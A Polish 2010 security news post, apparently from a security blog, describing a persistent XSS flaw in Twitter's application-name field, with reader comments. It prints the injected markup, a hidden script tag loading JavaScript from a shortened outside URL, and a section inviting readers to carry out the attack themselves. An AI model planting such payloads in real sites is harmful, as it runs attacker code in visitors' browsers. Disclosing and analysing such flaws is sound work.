24/6/2010
Jeden z użytkownik Twittera zademonstrował na swoim profilu atak typu persistent XSS. Za błąd odpowiedzialny jest brak walidacji w polu zawierającym nazwę służacej do obsługi Twittera zewnętrznej aplikacji.
Jeśli ktoś odwiedzi profil 0wn3d_5ys (na własne ryzyko) najpierw dostaje po oczach klasycznymi okienkami dialogowymi z informacją o ataku XSS, a potem jego przeglądarka pokaże znane z filmu Matrixa znaczki.
0wn3d_5ys opisał szczegóły błędu na swoim blogu.
Persistent XSS — szczegóły błędu
Wstrzyknięty do pola “nazwa aplikacji” kod wygląda następująco:
<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­erTwi­tter<span
style="visibility: hidden"> <script src='http://is.gd/cWO66' type='text/javascript'></script></a>
</span>
Jak można zauwazyć, brakuje zamknięcia nawiasu > w znaczniku zamykającym wstrzyknięty JavaScript (Twitter cośtam jednak filtruje i zamienia na encje). Jednak zaraz po tym znaczniku, w oryginalnym kodzie Twittera następuje ładowanie skryptu JS dla biblioteki jquery i dlatego zawartość wstrzykniętego, ale “niedomkniętego” skryptu się wykona.
Przeprowadź własny atak XSS
Aby przeprowadzić atak wystarczy zarejestrować swoją aplikację na Twitterze pod odpowiednią nazwą:

Formularz rejestracji aplikacji na Twitterze. XSS w polu z nazwą na skutek niepełnej walidacji danych wejściowych.
Po rejestracji aplikacji i dodaniu za jej pomocą wpisu na Twittera, jej nazwa pojawi się pod “twitnięciem”:
…i każdy kto wejdzie na stronę wykona stworzony przez atakującego skrypt. Czekamy na pierwszego robaka Twitterowego?
Przypomiamy, że właśnie tego typu ataki wykonujemy (i unicestwiamy) na szkoleniach z atakowania i ochrony webaplikacji — jest jeszcze kilka miejsc, zapraszamy do rejestracji :-)
Przetestowałem sobie na wirtualnej maszynie – mam tam XP z IE 7 – nic się nie dzieje na jego profilu ;)
nie dziala juz :(
Edit: Na FF jednak dzieje się ;-)
A co to jest Twitter? :P
Zbanować twittera, nasza-klasa.pl, facebooka i od razu jacy bezpieczniejsi będziemy. :>
No, art na niebezpieczniku i twitter naprawia błąd. :D Gdyby nie wy to ten XSS posiedział by tam pewnie jeszcze kilka dobrych dni. ;)
Na ff na OS X nie działa.
U mnie na FF pod OS X działa.
Wchodzę sobie pewniacko, a tu zonk – NoScript akurat wyłączony ^^
@Ci,KtórymNieDziała
Wyłączyć AdBlocka, wyczyścić cache i odpalić.
Ma ktoś może link do skryptu z tymi znaczkami z Matrixa? Wrzuciłbym sobie na stronkę…
U mnie na Operze pod Pingwinem nie działa ;-P.
FF pod win xp dziala.
tylko za pierwszym razem sie nie odpalilo, musialem odswierzyc. adblock wlaczony :P
Sorry, that page doesn’t exist!
Już nie działa
zastanawia mnie tylko jedno…. (powaznie) po co o tym piszecie? jak to brzmi w ogole – o jeju jeju, N-ty xss na twitterze …. toć to lameriada, tj twitter to scierwo dla lapsów, a i same xssy przejadły sie juz, za sprawą przeróżnych samozwanczych speców od security, publikujących super informacje, jak to znalezli podatnosc xss w szukajce onetu czy wp, litości, przeciez to żałosne ;]
@kamil: z zasady nie publikujemy wtórnych informacji (tzn. kolejny xss wykonany tą samą techniką). Ta informacje jest jednak w pewien sposób wyjątkowa, bo zachodzą tu 2 ciekawe zjawiska:
** filtrowanie/walidacje Twitter ma i działa toto w miarę — ale kolejna linia kodu umożliwia mimo wszystko przemycenie i wykonanie skryptu.
** efekt xssa jest dość “widowiskowy” i zarazem niegroźny, więc mniej techniczna część czytelników może “wypróbować” na sobie atak.